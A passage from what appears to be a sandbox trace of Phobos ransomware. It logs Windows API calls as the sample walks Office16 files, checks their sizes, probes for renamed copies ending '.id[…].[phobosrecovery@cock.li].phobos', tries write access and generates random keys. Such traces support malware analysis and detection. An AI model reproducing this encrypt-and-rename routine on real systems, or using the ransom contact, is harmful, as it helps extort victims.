Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc_f_col.hxk")) returned 0x220 [0154.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_F_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc_f_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.599] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.599] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.599] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.599] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=113) returned 1 [0154.599] CloseHandle (hObject=0x368) returned 1 [0154.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc_k_col.hxk")) returned 0x220 [0154.600] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_K_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc_k_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.600] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.600] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.600] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.600] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=390256) returned 1 [0154.600] CloseHandle (hObject=0x368) returned 1 [0154.600] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub.hxs")) returned 0x220 [0154.600] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.HXS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub.hxs.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.601] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.601] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.601] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.OPG" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub.opg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0154.624] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=12024) returned 1 [0154.624] CloseHandle (hObject=0x250) returned 1 [0154.624] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.OPG" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub.opg")) returned 0x220 [0154.624] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.OPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub.opg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.624] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.OPG" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub.opg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.624] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.625] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0154.625] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=631) returned 1 [0154.625] CloseHandle (hObject=0x250) returned 1 [0154.625] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub_col.hxc")) returned 0x220 [0154.625] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_COL.HXC.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub_col.hxc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.625] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.625] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.626] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.629] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=205) returned 1 [0154.629] CloseHandle (hObject=0x368) returned 1 [0154.629] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub_col.hxt")) returned 0x220 [0154.629] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_COL.HXT.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub_col.hxt.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.629] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.629] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.629] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.630] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=114) returned 1 [0154.630] CloseHandle (hObject=0x368) returned 1 [0154.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub_f_col.hxk")) returned 0x220 [0154.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_F_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub_f_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.630] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.630] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.630] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.631] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=113) returned 1 [0154.631] CloseHandle (hObject=0x368) returned 1 [0154.631] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub_k_col.hxk")) returned 0x220 [0154.631] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_K_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub_k_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.631] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.631] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.631] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSSRINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mssrintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0154.636] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=28872) returned 1 [0154.636] CloseHandle (hObject=0x250) returned 1 [0154.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSSRINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mssrintl.dll")) returned 0x220 [0154.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSSRINTL.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mssrintl.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.636] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSSRINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mssrintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.636] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.636] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK1.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\network1.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.656] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=1844) returned 1 [0154.656] CloseHandle (hObject=0x368) returned 1 [0154.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK1.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\network1.vrd")) returned 0x220 [0154.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK1.VRD.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\network1.vrd.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.657] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK1.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\network1.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.657] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.657] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK2.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\network2.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.658] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=2150) returned 1 [0154.658] CloseHandle (hObject=0x368) returned 1 [0154.658] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK2.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\network2.vrd")) returned 0x220 [0154.658] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK2.VRD.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\network2.vrd.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.658] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK2.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\network2.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.658] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.658] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK3.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\network3.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.659] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=3246) returned 1 [0154.659] CloseHandle (hObject=0x368) returned 1 [0154.659] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK3.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\network3.vrd")) returned 0x220 [0154.659] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK3.VRD.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\network3.vrd.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.659] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\NETWORK3.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\network3.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.659] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.659] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ocapires.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ocapires.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.660] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=59560) returned 1 [0154.660] CloseHandle (hObject=0x368) returned 1 [0154.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ocapires.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ocapires.dll")) returned 0x220 [0154.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ocapires.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ocapires.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.660] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ocapires.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ocapires.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.661] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.661] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OcHelperResource.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ochelperresource.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.662] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11432) returned 1 [0154.662] CloseHandle (hObject=0x368) returned 1 [0154.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OcHelperResource.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ochelperresource.dll")) returned 0x220 [0154.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OcHelperResource.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ochelperresource.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.662] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OcHelperResource.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ochelperresource.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.663] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.663] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OcPubRes.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ocpubres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.664] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=1503400) returned 1 [0154.664] CloseHandle (hObject=0x368) returned 1 [0154.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OcPubRes.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ocpubres.dll")) returned 0x220 [0154.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OcPubRes.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ocpubres.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.664] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OcPubRes.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ocpubres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.664] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.664] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OMSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\omsintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.666] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=397504) returned 1 [0154.666] CloseHandle (hObject=0x368) returned 1 [0154.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OMSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\omsintl.dll")) returned 0x220 [0154.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OMSINTL.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\omsintl.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.666] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\OMSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\omsintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.666] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.668] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=250316) returned 1 [0154.668] CloseHandle (hObject=0x368) returned 1 [0154.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote.hxs")) returned 0x220 [0154.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote.hxs.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.668] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.668] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.668] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ONENOTE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\onenote_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.669] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=631) returned 1 [0154.669] CloseHandle (hObject=0x368) returned 1 [0154.669] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 